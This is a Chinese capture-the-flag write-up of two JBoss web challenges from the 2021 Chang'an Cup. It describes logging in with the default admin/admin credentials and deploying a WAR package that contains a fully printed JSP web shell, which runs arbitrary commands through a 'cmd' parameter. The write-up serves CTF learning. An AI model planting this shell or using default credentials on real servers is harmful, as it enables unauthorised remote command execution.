2021长安杯WEB题部分WP

2021-09-26 15:02:38 阅读：399 来源： 互联网

标签：WEB 题目 admin JBOSS flag 2021 WP out

2021长安杯WEB题部分WP

1.前言

怎么说呢，这次的长安杯比赛的题目有些奇怪。当然这里指我怎么也看不懂的WEB第一题《soeasy》，还有我做的这两道JBOSS的题目。当我做出第一道JBOSS之后，我发现他只是一道很简单的RCE，但是不久平台又放出了第二道JBOSS题目。额。。。怎么说呢？虽然他的题目描述上有JBOSS很不甘心的字眼，但这两道题明明是同一个解题方式呀。

2.正文

在这里插入图片描述

题目的话就是上面的这两道，题目在这里就一起说了，因为解法都是一样的（X。
首先拿到题目，一个JBOSS的管理界面。

在这里插入图片描述
然后进入管理员控制台登陆界面。

这里的话就是一个弱口令，admin，admin没有什么好说的。直接就进到了后台管理界面。

在后台的管理界面看到了上传WAR包的地方，那么很明显这道题考察的就是Jboss 5.x/6.x admin-Console后台部署war包相关的知识。
那么先拿一个脚本生成WAR包。下面这个脚本来源于这位大佬

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

生成war包
在这里插入图片描述
然后上传
请添加图片描述

然后利用传参进行RCE

cat一下flag，拿到flag

3.后记

在文章的刚开始就说过了，两道题都可以通过同一个方式拿到flag，虽然不知道为什么，很有可能是出题方的失误。

标签：WEB,题目,admin,JBOSS,flag,2021,WP,out
来源： https://blog.csdn.net/Mrs_H/article/details/120488570

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

2021长安杯WEB题部分WP